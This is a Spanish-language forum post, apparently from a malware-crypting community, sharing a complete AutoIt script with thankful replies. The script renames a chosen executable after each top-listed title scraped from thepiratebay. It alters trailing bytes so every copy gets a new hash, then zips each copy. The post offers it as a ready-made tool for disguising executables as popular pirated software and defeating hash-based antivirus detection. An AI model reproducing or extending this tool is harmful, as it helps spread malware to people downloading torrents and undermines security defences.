Indetectables

Bueno Aquí dejo unas Funciones para hacer un Renamer.

Baja El Top de la pagina thepiratebay.
Edita un Byte Del Archivo para que cambie el Hash.
Comprime en Zip.

#include <IE.au3>
#include <Array.au3>
#include <File.au3>
#include "Zip.au3"

ConsoleWrite("Espere Mietras se Obtiene el Top de thepiratebay" & @CRLF)
Local $Nombres=Get_Top()

if IsArray($Nombres) then
ConsoleWrite("Top de thepiratebay Obtenida" & @CRLF)
ConsoleWrite("Seleccione un Archivo para Renombar" & @CRLF)
Compress($Nombres)
Else
ConsoleWrite("No se Obtuvo la lista Correctamente" & @CRLF)
EndIf
ConsoleWrite("Archivos Renombrados y Comprimidos Correctamente" & @CRLF)
ShellExecute(@ScriptDir & "\Archivos\")


;Comprimir
Func Compress(ByRef $Nombres)
Local $file = FileOpenDialog("Seleccione un Archivo", @ScriptDir & "\", "Ejecutables (*.exe)", 1)
Local $szDrive, $szDir, $szFName, $szExt,$nuevonombre,$Zip
local $archivos=@ScriptDir & "\Archivos\"
if FileExists($archivos) then
FileDelete($archivos & "*.*")
else
DirCreate($archivos)
EndIf

$Fuentenombre=_PathSplit($file, $szDrive, $szDir, $szFName, $szExt)
$Fuentenombre=$szFName&$szExt
FileCopy($file,@ScriptDir & "\" & $Fuentenombre,1)
ConsoleWrite ($Fuentenombre & @crlf)
ConsoleWrite( StringRegExpReplace(StringLeft($Nombres[1][98],StringInStr($Nombres[1][98],@crlf)-2),'[/:*?"<>|]|[^\w\s\[\]]', '') & @crlf)
filewrite("test",StringRegExpReplace(StringLeft($Nombres[1][98],StringInStr($Nombres[1][98],@crlf)-2),'[/:*?"<>|]|[^\w\s\[\]]', ''))

for $i= 1 to UBound($Nombres,2)-1
ConsoleWrite($i & "  " & StringRegExpReplace(StringLeft($Nombres[1][$i],StringInStr($Nombres[1][$i],@crlf)-2),'[/:*?"<>|]|[^\w\s\[\]]', '') & @crlf)
$nuevonombre=StringRegExpReplace(StringLeft($Nombres[1][$i],StringInStr($Nombres[1][$i],@crlf)-2),'[/:*?"<>|]|[^\w\s\[\]]', '')
FileMove(@ScriptDir & "\" & $Fuentenombre,@ScriptDir & "\" & $nuevonombre & ".exe",1)
Editoffset(@ScriptDir & "\" & $nuevonombre & ".exe")
$Zip = _Zip_Create($archivos &  $nuevonombre & ".zip")
filewrite("purueba.txt",$archivos &  $nuevonombre & ".zip")
_Zip_AddFile($Zip,@ScriptDir & "\" & $nuevonombre & ".exe")
$Fuentenombre=$nuevonombre & ".exe"
Next
FileDelete(@ScriptDir & "\" & $Fuentenombre)
EndFunc

;Editar Offset
Func Editoffset($file)
local Static $rnd=0x1
Local $hfile = FileOpen($file, 17)
FileSetPos($hfile,FileGetSize($file)-4,0)
FileWrite($hfile,$rnd)
FileClose($hfile)
$rnd+=1
EndFunc

;Obtener Top lista
Func Get_Top()
local $oIE = _IECreate("http://thepiratebay.sx/top/301", 0, 0)
local $oTable = _IETableGetCollection ($oIE, 0)
local $Nombres
$Nombres= _IETableWriteToArray ($oTable)
_IEQuit($oIE)
Return $Nombres
EndFunc

Requiere #include "Zip.au3"
Link: [Enlace externo eliminado para invitados]


Saludos

Gracias por traerlo Pink. Un saludo.

1000 Gracias pink por el code

Esta de 10 , buen code Pink ,